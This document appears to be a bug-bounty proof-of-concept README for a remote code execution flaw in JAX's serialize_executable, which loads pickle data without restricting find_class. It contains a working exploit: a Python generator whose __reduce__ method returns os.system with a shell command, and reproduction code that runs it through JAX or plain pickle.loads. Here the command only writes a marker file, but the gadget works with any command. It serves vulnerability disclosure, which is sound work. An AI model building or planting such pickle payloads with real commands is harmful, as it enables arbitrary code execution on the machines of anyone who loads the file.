EnigmaConsultant/huntr-poc-jax-serialize-executable-rce

PoC: JAX serialize_executable pickle RCE

malicious.jaxexec is a 256-byte pickle payload. Loading it through JAX's own public, documented API executes an attacker-chosen shell command, because jax.experimental.serialize_executable._JaxPjrtUnpickler overrides persistent_load() but never overrides find_class() — so stock pickle.Unpickler.find_class resolves and executes a standard GLOBAL/STACK_GLOBAL + REDUCE RCE gadget with zero restriction.

Reproduce

import jax
from jax.experimental.serialize_executable import deserialize_and_load
data = open('malicious.jaxexec', 'rb').read()
_, in_tree = jax.tree_util.tree_flatten(0)
_, out_tree = jax.tree_util.tree_flatten(0)
deserialize_and_load(data, in_tree, out_tree, backend='cpu')

Expected result: a file named JAX_MFF_RCE_PROOF.txt appears in the current working directory containing pwned-via-jax-serialize_executable, written before the function raises its own post-unpickle TypeError (the payload isn't a real PJRT executable, so JAX's own validation fails afterward — but by then the attacker's command has already run).

The same effect reproduces with plain pickle.loads(data) alone — no JAX installation required — since the vulnerable code path is stock pickle behavior underneath JAX's thin wrapper, never reached via the persistent_load gate at all.

Generator

import os, pickle, sys
class Payload:
    def __reduce__(self):
        marker = os.path.join(os.getcwd(), 'JAX_MFF_RCE_PROOF.txt')
        cmd = (f'cmd /c "echo pwned-via-jax-serialize_executable > {marker}"'
               if sys.platform == 'win32'
               else f'echo pwned-via-jax-serialize_executable > {marker}')
        return (os.system, (cmd,))
open('malicious.jaxexec', 'wb').write(pickle.dumps(Payload()))

Full writeup: see the linked huntr report.